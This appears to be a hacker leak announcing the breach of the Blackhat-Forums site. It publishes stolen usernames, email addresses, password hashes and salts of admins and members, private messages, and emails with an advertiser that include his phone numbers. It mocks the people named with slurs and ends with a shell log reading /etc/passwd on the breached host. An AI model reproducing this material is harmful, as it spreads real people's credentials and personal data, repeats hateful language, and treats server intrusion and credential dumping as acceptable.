27888 27889 BHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMED 27890 BHFOWNEDANDRMED BHFOWNEDANDRMED 27891 BHFOWNEDANDRMED HASHES FOR HAX BHFOWNEDANDRMED 27892 BHFOWNEDANDRMED BHFOWNEDANDRMED 27893 BHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMED 27894 27895 USERNAME EMAIL HASH SALT 27896 27897 ADMINS: 27898 27899 Edu19 edubp2002@hotmail.com f3cc355f704d139190be812610a8a041 sO:/E 27900 r0rkty 0x803A@gmail.com 8c8d6d6d464fe61e54e5e1d98f8344e0 (Y<CS 27901 27902 VIPS: 27903 27904 sarkar112 sarkar112@gmail.com 95a100ce5b0cca3f7ab4f6d822b9c839 G;J5I 27905 Cephexin cephexin@gmail.com 9baa1127d60dc4f84be96905538d4483 d@RNc 27906 syncorion c853@hotmail.com c2bd3225c9e520f0bd0d18bb7ac7df72 eiZ:^ 27907 Glyph Glyphster@gmail.com 8743c2434c66f3a0f4c6bdace7fdebf7 B>Wi. 27908 jplopezy jplopezy@gmail.com 1595a492c5e4bbffab6c80efb27cd382 yrRat 27909 DiabloHorn diablohorn@gmail.com d6e90ceb40ca996bd9c2921ed3eb90d3 E"-ws 27910 27911 SYSOPS: 27912 27913 FLX flxfxp@gmail.com 0caf3462d30982bb4f96eb1ce9ba7341 #q@UT 27914 cyph3r system_admin@nym.hush.com e30d288629fab87cb44d60aedbd2498c _@^). 27915 webdevil w3bd3vil@gmail.com 8122d51c66cddc7fb648c1050e5e4647 _SH$Z 27916 ParanoidE ne0.sn1ff3r@gmail.com 73b0fcd9093359a5de622b7fabf1ba8a hEOX* 27917 greatfox artur.g.ferreira@gmail.com f00143b97acff2cf4a5f73c90ef36522 5>3:# 27918 27919 RETIRED AKA RM'ED: 27920 27921 Aelphaeis_Mangarae blackhatforums@gmail.com 0549158dc7a821ce1c6c1721f004e151 c},5# 27922 Cj bl4ckb0x@live.com 1de22a783821962397460e6b4a2f8850 $p')x 27923 RoMeO romeo.haxxor@gmail.com 0fb82d94184aca290e633cf50671baf9 R_g^0 27924 sykadul sykadul@astalavista.com ea0518ba567418a4e90e7101bcd0fec5 )(uf( 27925 27926 BHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMED 27927 BHFOWNEDANDRMED BHFOWNEDANDRMED 27928 BHFOWNEDANDRMED Aelphaeis_Mangarae PM's BHFOWNEDANDRMED 27929 BHFOWNEDANDRMED BHFOWNEDANDRMED 27930 BHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMED 27931 27932 For one, all this guy does is beg for 0dayz, and requires people pay for access to the OTO 27933 secret hacking group that never developed anything: 27934 27935 BHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMED 27936 BHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMED 27937 27938 -- 27939 27940 I was wondering if you would post that login (SQL Injection) that you gave me.<br /> 27941 <br /> 27942 That's pretty interesting, others will probably want to have a look. 27943 27944 -- 27945 27946 BHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMED 27947 BHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMED 27948 27949 -- 27950 27951 Sorry, it is tempting.<br /> 27952 <br /> 27953 The only way I would ever let anyone in through monetary donations, is if the donation as 27954 substantial (large.) 27955 27956 -- 27957 27958 At least $100 US.<br /> 27959 <br /> 27960 And remembering of course, if I suspect you leaking ANYTHING from the OTO and find the tin 27961 iest piece of evidence, you would be kicked out.<br /> 27962 <br /> 27963 You wouldn't even be allowed to hint to other people that stuff that is in there.<br /> 27964 <br /> 27965 There isn't ALOT of stuff in there atm, but in the coming months I bet there will be. 27966 27967 -- 27968 27969 BHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMED 27970 BHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMED 27971 27972 Also he only cares about money. First we will talk about Aelphaeis_Mangarae's greed. 27973 27974 Let's check out his private messagez: 27975 27976 BHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMED 27977 BHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMED 27978 27979 -- 27980 27981 I accept your very generous offer.<br /> 27982 <br /> 27983 Thank You<br /> 27984 <br /> 27985 - Aelphaeis Mangarae 27986 27987 -- 27988 27989 Just donate either $10US or $20 US.<br /> 27990 <br /> 27991 I can give you my paypal account (only method I am able to accept $$$.) 27992 27993 -- 27994 27995 $20 US should be enough (bandwidth costs are increasing though..)<br /> 27996 <br /> 27997 I would be most than happy with $20 US, even if you can donate $10 US.<br /> 27998 <br /> 27999 I can only accept money via paypal though, is that a problem? 28000 28001 -- 28002 28003 My paypal is: [code]adam_we1shaupt@hotmail.com[/code] 28004 28005 -- 28006 28007 Well my paypal account is: [code]adam_we1shaupt@hotmail.com[/code] 28008 28009 -- 28010 28011 My paypal is: [code]adam_we1shaupt@hotmail.com[/code] 28012 28013 -- 28014 28015 Thanks for your donation.<br /> 28016 <br /> 28017 I won't comment on anything else (sorry.)<br /> 28018 <br /> 28019 I will try and pay you back sometime in the future, some how.<br /> 28020 <br /> 28021 - Aelphaeis Mangarae 28022 28023 -- 28024 28025 There is no way you could paypal me the money? 28026 28027 -- 28028 28029 Your not able to via paypal? (For donations.) 28030 28031 -- 28032 28033 Well my paypal account is: adam_we1shaupt@hotmail.com<br /> 28034 <br /> 28035 Research paper..? Anything I might be interested in reading? 28036 28037 BHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMED 28038 BHFOWNEDANDRMED BHFOWNEDANDRMED 28039 BHFOWNEDANDRMED Aelphaeis_Mangarae GREEDY MAIL SPO0lZ BHFOWNEDANDRMED 28040 BHFOWNEDANDRMED BHFOWNEDANDRMED 28041 BHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMED 28042 28043 ------=_Part_8917_6415726.1230342925719 28044 Content-Type: text/plain; charset=ISO-8859-1 28045 Content-Transfer-Encoding: 7bit 28046 Content-Disposition: inline 28047 28048 Hi, well we'd like to get the word out, so can you give us an option for 28049 having out banner ad visible by all BHF users, maybe we can start with a 28050 $200 or $300 purchase, to see how it works for us? I'm assuming it will work 28051 great and we'll want to go big shortly thereafter. 28052 Thx, JP 28053 28054 JP LaMere 28055 USA: 612-605-4706 28056 info@iprental.com www.iprental.com 28057 28058 28059 On Fri, Dec 26, 2008 at 4:48 PM, <admin@blackhat-forums.com> wrote: 28060 28061 > Hi, the prices varies depending on the campaign type and ads size, and are 28062 > negotiable, please send us some more details about your campaign 28063 > 28064 > BHF Administration 28065 > 28066 > On Sun, 21 Dec 2008 14:21:19 -0800, "Customer Service" <info@iprental.com> 28067 > wrote: 28068 > > Hi, this is JP with IPRental.com, we're interested in running banner 28069 > ads 28070 > on 28071 > > your site, can you pls direct me to pricing and other details? 28072 > > 28073 > > Thx! JP 28074 > > 28075 > > -- 28076 > > JP LaMere 28077 > > USA: 612-605-4706 28078 > > info@iprental.com www.iprental.com 28079 > 28080 > 28081 28082 ------=_Part_8917_6415726.1230342925719 28083 Content-Type: text/html; charset=ISO-8859-1 28084 Content-Transfer-Encoding: 7bit 28085 Content-Disposition: inline 28086 28087 ------=_Part_34240_28179284.1230590972627 28088 Content-Type: text/plain; charset=ISO-8859-1 28089 Content-Transfer-Encoding: 7bit 28090 Content-Disposition: inline 28091 28092 Hi, ok we'd like to get a price on doing the PM to all users of 28093 Blackhat-Forums.com, I think that would be a great way to start, then we'll 28094 do the banners and all that shortly after, so can you pls get us a price? 28095 28096 Also, I got my iprental account banned by doing my first post in the wrong 28097 place, promoting IPRental shamelessly, can you unblock me? 28098 28099 Thanks! JP 28100 28101 JP LaMere 28102 USA: 612-605-4706 28103 info@iprental.com www.iprental.com 28104 28105 28106 On Sun, Dec 28, 2008 at 5:43 AM, <admin@blackhat-forums.com> wrote: 28107 28108 > Greetings. 28109 > 28110 > We can offer you many different advertisement methods such as: 28111 > - Placement of banners on a position you choose (Examples such as: Top, 28112 > left side, right side, Right below first post of a topic, personal 28113 > signature of at least 1 admin, and all other position by negotiation). 28114 > - We can also do a "recommendation topic" and pin it, by the admin, send 28115 > mass PM's to all members recommending your site, etc. 28116 > 28117 > The possibilites are infinite. Suggest the exact positions you wish and 28118 > we will analyze. 28119 > Just let us know the exact kind of advertisement you want, and the 28120 > position, and we negotiate the prices. 28121 > 28122 > BHF Administration 28123 28124 ------=_Part_71873_3914557.1230841885257 28125 Content-Type: text/plain; charset=ISO-8859-1 28126 Content-Transfer-Encoding: 7bit 28127 Content-Disposition: inline 28128 28129 Hi, I like the idea of the mass PM to all members, how many total members 28130 are there? We're just getting going, and as you can imagine have a ton of 28131 expenses right now, so how much wiggle room do you have on the $600 price? I 28132 know I can do $400 right now, but $600 we'll have to wait a while, so pls 28133 let me know. 28134 28135 Thx, JP 28136 28137 JP LaMere 28138 USA: 612-605-4706 28139 info@iprental.com www.iprental.com 28140 28141 28142 On Thu, Jan 1, 2009 at 10:47 AM, <admin@blackhat-forums.com> wrote: 28143 28144 > Greetings. 28145 > 28146 > We offer several positions for placing ads, the most used are: 28147 > 28148 > On Portal: 28149 > 28150 > Portal Top: 250 USD/month 28151 > Portal Left Side: 250 USD/month 28152 > Portal below the "IRC" & "Forum" Image Links: 200 USD/month 28153 > Portal Special Box on the right: 190 USD/month 28154 > Portal Other (other position you may wish by negotiation) 28155 > 28156 > Forum Index: 28157 > 28158 > Forum Top 350 USD/month 28159 > Forum Below Login/Register Bar: 350 USD/month 28160 > Forum Bottom: 100 USD/month 28161 > Forum Other (other position you may wish by negotiation) 28162 > 28163 > Topic View: 28164 > 28165 > Below the first post of a Topic: 300 USD/month 28166 > 28167 > Other advertisement methods: 28168 > 28169 > Mass Pm All users with a personal recommendation to the product by the 28170 > admin: 600 USD 28171 > 28172 > Pinned Recommendation Post to the product by an admin: 300 USD 28173 > 28174 > Note: The prices are up to negotiation. 28175 > 28176 > BHF Administration 28177 28178 User-Agent: RoundCube Webmail/0.2 28179 Content-Transfer-Encoding: 8bit 28180 Content-Type: text/plain; charset="UTF-8" 28181 28182 Greetings, 28183 28184 Yes, would be a matter of telling us what message do you want. And we will 28185 send after a PayPal payment to "0x803a@gmail.com" of $300. 28186 28187 BHF Administration 28188 28189 PD: Send an email to "0x803a@gmail.com" regarding to your question if it 28190 would be only once or more than once. 28191 28192 On Thu, 26 Mar 2009 13:46:42 -0500, Customer Service IPRental 28193 <info@iprental.com> wrote: 28194 > Hi, that's great news, yes we are interested. So this would be a PM you 28195 > send 28196 > out to all current users of BlackHatForum, one time or more than once, 28197 for 28198 > $300? 28199 > 28200 > Also, I got banned from the forum yesterday for responding to a post from 28201 a 28202 > person looking for an IP solution, I didn't know any better and just 28203 > mentioned shamelessly they should use IPRental. I'm not an experienced 28204 > forum 28205 > user and didn't realize I was doing something bad, can you re-instate me 28206 > and 28207 > I will not do that again? 28208 > 28209 > Thx, JP 28210 > 28211 > JP LaMere 28212 > USA: 612-419-1322 28213 > info@iprental.com www.iprental.com 28214 > 28215 > 28216 28217 28218 Content-Transfer-Encoding: 8bit 28219 Content-Type: text/plain; charset="UTF-8" 28220 28221 BHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMED 28222 BHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMED 28223 28224 AHAHAHAHAH THE GUY TRYING TO BUY ADS ON BHF GOT SOCIALED FOR THE PREMIUM SECTION HAHAHAHAH 28225 28226 BHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMED 28227 BHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMED 28228 28229 Greetings, 28230 28231 To who you did pay $97 to become Premium Member? There's no such thing as 28232 Premium Member and it is NOT paid. Paypal to this e-mail 28233 "0x803a@gmail.com". 28234 28235 //BHF Administration 28236 28237 On Fri, 22 May 2009 16:56:08 -0700, Customer Service IPRental 28238 <info@iprental.com> wrote: 28239 > Hi, yes we would like to take you up on your great offer to do the mass 28240 PM 28241 > to all your members for the $300. We just paid the $97 to become a 28242 Premium 28243 > member of your site, let's get this going asap, please just let me know 28244 > when 28245 > to pay and where to send the message. 28246 > Thx! JP 28247 > 28248 > JP LaMere 28249 > USA: 612-419-1322 28250 > info@iprental.com www.iprental.com 28251 28252 BHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMED 28253 BHFOWNEDANDRMED BHFOWNEDANDRMED 28254 BHFOWNEDANDRMED r0rkty + RoMeO = Bl4ckH4t LUVINZ BHFOWNEDANDRMED 28255 BHFOWNEDANDRMED BHFOWNEDANDRMED 28256 BHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMED 28257 28258 The best imageshak hacker on the planet has a great blackhat community over at darkmindz 28259 Oh wait, they got ownedandrmed too. So much retardation with these kids. They talk like 28260 their websites are little countries with troops and affiliations and shit, so lulz. 28261 Whats really funny is that RoMeO owned astalavista and dropped all their shit under the 28262 "anti-sec" name when really he was one of the admins. Talk about a sellout faggot. Don't 28263 try to say that you were trying to "get in and get trusted" in order to do that one lame 28264 ass hack so read the diplomacy between these two faggots: 28265 28266 BHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMED 28267 BHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMED 28268 28269 -- 28270 28271 Hello, you should have spoken to me in first instance. Im away on vacations, 28272 i will add your site when im back.<br /> 28273 <br /> 28274 Ch33rz /r0rkty.<br /> 28275 <br /> 28276 <br /> 28277 [quote]Hello there,<br /> 28278 <br /> 28279 I spoke to Aelphaeis_Mangarae weeks ago, about link exchange with my site 28280 its fully codded by me, up since 1.5 years, and a great community I cant be more proud of 28281 <br /> 28282 He agreed, but I never heared from him after that :|.<br /> 28283 <br /> 28284 so can you check whats going on, thanks and have a good day.[/quote] 28285 28286 -- 28287 28288 Hey, can you give me the url and image you want on affiliates box ? 28289 28290 -- 28291 28292 Took long, but its finally on the frontpage, im also glad with the affiliation you 28293 performed with astalavista. i am the management director there, if you need anything let 28294 me know.<br /> 28295 <br /> 28296 [quote][quote]Hey, can you give me the url and image you want on affiliates box ?[/quote] 28297 <br /> 28298 <br /> 28299 Hey, <br /> 28300 <br /> 28301 Here you go, [url="http://www.darkmindz.com/link.dmz"]http://www.darkmindz.com/link.dmz[/u 28302 rl], you can pick the one you find best. and URL is: [url="http://www.darkmindz.com"]http: 28303 //www.darkmindz.com[/url]<br /> 28304 <br /> 28305 thanks, and hope you had a great vacation.[/quote] 28306 28307 -- 28308 28309 which way are you using to contact him ? what kind of affiliation do you pretend?<br /> 28310 <br /> 28311 [quote][quote]Took long, but its finally on the frontpage, im also glad with the affiliati 28312 on you performed with astalavista. i am the management director there, if you need anythin 28313 g let me know.<br /> 28314 <br /> 28315 [quote][quote]Hey, can you give me the url and image you want on affiliates box ?[/quote]< 28316 br /> 28317 <br /> 28318 Hey, <br /> 28319 <br /> 28320 Here you go, [url="http://www.darkmindz.com/link.dmz"]http://www.darkmindz.com/link.dmz[/u 28321 rl],you can pick the one you find best. and URL is: [url="http://www.darkmindz.com"]http:/ 28322 /www.darkmindz.com[/url]<br /> 28323 <br /> 28324 thanks, and hope you had a great vacation.[/quote][/quote]<br /> 28325 <br /> 28326 Hey,<br /> 28327 <br /> 28328 thanks man, appreciated <br /> 28329 <br /> 28330 and yea, talking now to commander on how we can make it an even better affiliation.<br /> 28331 <br /> 28332 have a good day and keep up the good work![/quote] 28333 28334 -- 28335 28336 what kind of content did he asked to have? Well its pretty difficult for us to place your 28337 site on the frontpage in a defenitive way. as your site is low traff. 28338 28339 -- 28340 28341 Awesome, i will let you finish your negotiation with my partner You have any kind of IM ? 28342 <br /> 28343 <br /> 28344 [quote][quote]what kind of content did he asked to have? Well its pretty difficult for us 28345 to place your site on the frontpage in a defenitive way. as your site is low traff.[/quote 28346 ]<br /> 28347 <br /> 28348 I know my site is low traffic, not very low tho, well when compared with here I guess its 28349 low but it is growing.<br /> 28350 <br /> 28351 I just emailed him back for more details, waiting for a reply..<br /> 28352 <br /> 28353 we can work something out too, maybe add a banner if you like, or if you have anything in 28354 mind let me know..<br /> 28355 <br /> 28356 but I do have an increasing traffic on a daily basis, so hopefully I wil hit the high traf 28357 fic category soon . working on the site daily.[/quote] 28358 28359 BHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMED 28360 BHFOWNEDANDRMED BHFOWNEDANDRMED 28361 BHFOWNEDANDRMED We PWNd uR box and w3 didn't Ev3n use a tr0jan BHFOWNEDANDRMED 28362 BHFOWNEDANDRMED BHFOWNEDANDRMED 28363 BHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMED 28364 28365 BEGIN DA H4XLOG NIGGA!!!!!!!!!!!!!! 28366 28367 Sliced and diced it as we went 28368 28369 bhf@blackhat-forums.com [/home/bhf/]# cat /etc/passwd 28370 28371 root:x:0:0:root:/root:/bin/bash 28372 bin:x:1:1:bin:/bin:/sbin/nologin 28373 daemon:x:2:2:daemon:/sbin:/sbin/nologin 28374 adm:x:3:4:adm:/var/adm:/sbin/nologin 28375 lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin 28376 sync:x:5:0:sync:/sbin:/bin/sync 28377 shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown 28378 halt:x:7:0:halt:/sbin:/sbin/halt 28379 mail:x:8:12:mail:/var/spool/mail:/sbin/nologin 28380 news:x:9:13:news:/etc/news: 28381 uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin 28382 operator:x:11:0:operator:/root:/sbin/nologin 28383 games:x:12:100:games:/usr/games:/sbin/nologin 28384 gopher:x:13:30:gopher:/var/gopher:/sbin/nologin 28385 ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin 28386 nobody:x:99:99:Nobody:/:/sbin/nologin 28387 dbus:x:81:81:System message bus:/:/sbin/nologin 28388 nscd:x:28:28:NSCD Daemon:/:/sbin/nologin 28389 vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin 28390 avahi:x:70:70:Avahi daemon:/:/sbin/nologin 28391 apache:x:48:48:Apache:/var/www:/sbin/nologin 28392 pcap:x:77:77::/var/arpwatch:/sbin/nologin 28393 mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin 28394 smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin 28395 rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin 28396 rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin 28397 nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin 28398 ntp:x:38:38::/etc/ntp:/sbin/nologin 28399 sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin 28400 rpm:x:37:37::/var/lib/rpm:/sbin/nologin 28401 haldaemon:x:68:68:HAL daemon:/:/sbin/nologin 28402 xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin 28403 sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin 28404 cpanel:x:32001:32001::/usr/local/cpanel:/bin/false 28405 named:x:25:25:Named:/var/named:/sbin/nologin 28406 mysql:x:100:103:MySQL server:/var/lib/mysql:/bin/bash 28407 mailman:x:32002:32002::/usr/local/cpanel/3rdparty/mailman:/bin/false 28408 cpanelhorde:x:32003:32005::/var/cpanel/userhomes/cpanelhorde:/usr/local/cpanel/bin/noshell 28409 cpanelphpmyadmin:x:32004:32006::/var/cpanel/userhomes/cpanelphpmyadmin:/usr/local/cpanel/b 28410 in/noshell 28411 cpanelphppgadmin:x:32005:32007::/var/cpanel/userhomes/cpanelphppgadmin:/usr/local/cpanel/b 28412 in/noshell 28413 cpanelroundcube:x:32006:32008::/var/cpanel/userhomes/cpanelroundcube:/usr/local/cpanel/bin 28414 /noshell 28415 rvadmin:x:32007:32009::/home/rvadmin:/usr/local/cpanel/bin/noshell 28416 securervskin:x:32008:32010::/home/rvadmin:/sbin/nologin 28417 secure:x:32009:32011::/home/secure:/usr/local/cpanel/bin/jailshell 28418 aamoror:x:32011:32013::/home/aamoror:/usr/local/cpanel/bin/noshell 28419 adgroupu:x:32012:32014::/home/adgroupu:/bin/bash 28420 admin:x:32013:32015::/home/admin:/usr/local/cpanel/bin/noshell 28421 alternat:x:32020:32022::/home/alternat:/usr/local/cpanel/bin/noshell 28422 animerx:x:32024:32026::/home/animerx:/usr/local/cpanel/bin/noshell 28423 avisale:x:32026:32028::/home/avisale:/usr/local/cpanel/bin/noshell 28424 bal:x:32027:32029::/home/bal:/usr/local/cpanel/bin/jailshell 28425 bfstudio:x:32029:32031::/home/bfstudio:/usr/local/cpanel/bin/noshell 28426 bhf:x:32030:32032::/home/bhf:/usr/local/cpanel/bin/jailshell 28427 blakecon:x:32032:32034::/home/blakecon:/usr/local/cpanel/bin/noshell 28428 bodie:x:32033:32035::/home/bodie:/usr/local/cpanel/bin/noshell 28429 boonehou:x:32035:32037::/home/boonehou:/usr/local/cpanel/bin/noshell 28430 brcvideo:x:32036:32038::/home/brcvideo:/usr/local/cpanel/bin/noshell 28431 breadand:x:32037:32039::/home/breadand:/usr/local/cpanel/bin/noshell 28432 calacapr:x:32040:32042::/home/calacapr:/usr/local/cpanel/bin/noshell 28433 carmelac:x:32042:32044::/home/carmelac:/usr/local/cpanel/bin/noshell 28434 cbavenez:x:32043:32045::/home/cbavenez:/usr/local/cpanel/bin/noshell 28435 centrora:x:32044:32046::/home/centrora:/usr/local/cpanel/bin/noshell 28436 charlesb:x:32045:32047::/home/charlesb:/usr/local/cpanel/bin/noshell 28437 chimp:x:32048:32050::/home/chimp:/usr/local/cpanel/bin/noshell 28438 chimpout:x:32049:32051::/home/chimpout:/usr/local/cpanel/bin/noshell 28439 clahorg:x:32050:32052::/home/clahorg:/usr/local/cpanel/bin/noshell 28440 davidg:x:32057:32059::/home/davidg:/usr/local/cpanel/bin/noshell 28441 demo:x:32059:32061::/home/demo:/usr/local/cpanel/bin/noshell 28442 dlbox:x:32062:32064::/home/dlbox:/usr/local/cpanel/bin/noshell 28443 eculan:x:32065:32067::/home/eculan:/usr/local/cpanel/bin/noshell 28444 eugenioh:x:32067:32069::/home/eugenioh:/usr/local/cpanel/bin/noshell 28445 every:x:32068:32070::/home/every:/usr/local/cpanel/bin/jailshell 28446 exan:x:32069:32071::/home/exan:/usr/local/cpanel/bin/noshell 28447 falcss:x:32071:32073::/home/falcss:/usr/local/cpanel/bin/noshell 28448 falkyou:x:32072:32074::/home/falkyou:/usr/local/cpanel/bin/noshell 28449 fastrak:x:32073:32075::/home/fastrak:/usr/local/cpanel/bin/noshell 28450 felosi:x:32076:32078::/home/felosi:/usr/local/cpanel/bin/jailshell 28451 gamepic:x:32079:32081::/home/gamepic:/usr/local/cpanel/bin/noshell 28452 gastrono:x:32080:32082::/home/gastrono:/bin/false 28453 gblank:x:32081:32083::/home/gblank:/usr/local/cpanel/bin/noshell 28454 ghi10000:x:32083:32085::/home/ghi10000:/usr/local/cpanel/bin/noshell 28455 giaoxu:x:32084:32086::/home/giaoxu:/usr/local/cpanel/bin/jailshell 28456 gibsrus:x:32085:32087::/home/gibsrus:/usr/local/cpanel/bin/noshell 28457 gio:x:32088:32090::/home/gio:/usr/local/cpanel/bin/noshell 28458 glory:x:32089:32091::/home/glory:/usr/local/cpanel/bin/noshell 28459 grandorg:x:32091:32093::/home/grandorg:/usr/local/cpanel/bin/noshell 28460 grandw:x:32092:32094::/home/grandw:/usr/local/cpanel/bin/noshell 28461 guilds:x:32095:32097::/home/guilds:/usr/local/cpanel/bin/noshell 28462 gzaggor:x:32096:32098::/home/gzaggor:/usr/local/cpanel/bin/noshell 28463 hhound:x:32100:32102::/home/hhound:/usr/local/cpanel/bin/jailshell 28464 ias:x:32102:32104::/home/ias:/usr/local/cpanel/bin/noshell 28465 imagespr:x:32103:32105::/home/imagespr:/usr/local/cpanel/bin/jailshell 28466 immolon:x:32104:32106::/home/immolon:/usr/local/cpanel/bin/jailshell 28467 invite:x:32105:32107::/home/invite:/usr/local/cpanel/bin/jailshell 28468 inviteho:x:32106:32108::/home/inviteho:/usr/local/cpanel/bin/noshell 28469 josom:x:32108:32110::/home/josom:/usr/local/cpanel/bin/noshell 28470 juicy:x:32109:32111::/home/juicy:/usr/local/cpanel/bin/noshell 28471 kikes:x:32112:32114::/home/kikes:/usr/local/cpanel/bin/jailshell 28472 latrinej:x:32116:32118::/home/latrinej:/usr/local/cpanel/bin/noshell 28473 livefree:x:32120:32122::/home/livefree:/usr/local/cpanel/bin/noshell 28474 lokoartz:x:32123:32125::/home/lokoartz:/usr/local/cpanel/bin/noshell 28475 media:x:32124:32126::/home/media:/usr/local/cpanel/bin/noshell 28476 medigy:x:32125:32127::/home/medigy:/usr/local/cpanel/bin/noshell 28477 nemsc:x:32129:32131::/home/nemsc:/bin/false 28478 netfire:x:32130:32132::/home/netfire:/usr/local/cpanel/bin/jailshell 28479 nitacy:x:32132:32134::/home/nitacy:/usr/local/cpanel/bin/noshell 28480 nnomyor:x:32133:32135::/home/nnomyor:/usr/local/cpanel/bin/noshell 28481 nolimitz:x:32134:32136::/home/nolimitz:/usr/local/cpanel/bin/noshell 28482 northern:x:32135:32137::/home/northern:/usr/local/cpanel/bin/noshell 28483 northsrv:x:32136:32138::/home/northsrv:/bin/false 28484 nuisance:x:32137:32139::/home/nuisance:/bin/bash 28485 oliwal:x:32138:32140::/home/oliwal:/usr/local/cpanel/bin/noshell 28486 optix:x:32140:32142::/home/optix:/usr/local/cpanel/bin/jailshell 28487 pablobay:x:32142:32144::/home/pablobay:/usr/local/cpanel/bin/noshell 28488 paulachr:x:32144:32146::/home/paulachr:/usr/local/cpanel/bin/noshell 28489 pedropar:x:32146:32148::/home/pedropar:/usr/local/cpanel/bin/noshell 28490 piper:x:32150:32152::/home/piper:/usr/local/cpanel/bin/noshell 28491 psa:x:32152:32154::/home/psa:/usr/local/cpanel/bin/jailshell 28492 pussycom:x:32153:32155::/home/pussycom:/usr/local/cpanel/bin/noshell 28493 qatarsuc:x:32154:32156::/home/qatarsuc:/usr/local/cpanel/bin/noshell 28494 rcwong:x:32157:32159::/home/rcwong:/usr/local/cpanel/bin/noshell 28495 rok:x:32160:32162::/home/rok:/usr/local/cpanel/bin/noshell 28496 rollhack:x:32161:32163::/home/rollhack:/usr/local/cpanel/bin/noshell 28497 rvhigh:x:32164:32166::/home/rvhigh:/usr/local/cpanel/bin/noshell 28498 sangeler:x:32165:32167::/home/sangeler:/usr/local/cpanel/bin/noshell 28499 schwiete:x:32167:32169::/home/schwiete:/usr/local/cpanel/bin/jailshell 28500 sgc:x:32169:32171::/home/sgc:/usr/local/cpanel/bin/noshell 28501 shell:x:32170:32172::/home/shell:/usr/local/cpanel/bin/jailshell 28502 sid:x:32171:32173::/home/sid:/usr/local/cpanel/bin/noshell 28503 skull:x:32172:32174::/home/skull:/usr/local/cpanel/bin/noshell 28504 skullzcl:x:32173:32175::/home/skullzcl:/usr/local/cpanel/bin/noshell 28505 slowcraf:x:32174:32176::/home/slowcraf:/usr/local/cpanel/bin/noshell 28506 smjw:x:32175:32177::/home/smjw:/usr/local/cpanel/bin/jailshell 28507 speed:x:32176:32178::/home/speed:/usr/local/cpanel/bin/jailshell 28508 stole1:x:32177:32179::/home/stole1:/usr/local/cpanel/bin/noshell 28509 stole2:x:32178:32180::/home/stole2:/usr/local/cpanel/bin/noshell 28510 tatvnco:x:32187:32189::/home/tatvnco:/usr/local/cpanel/bin/jailshell 28511 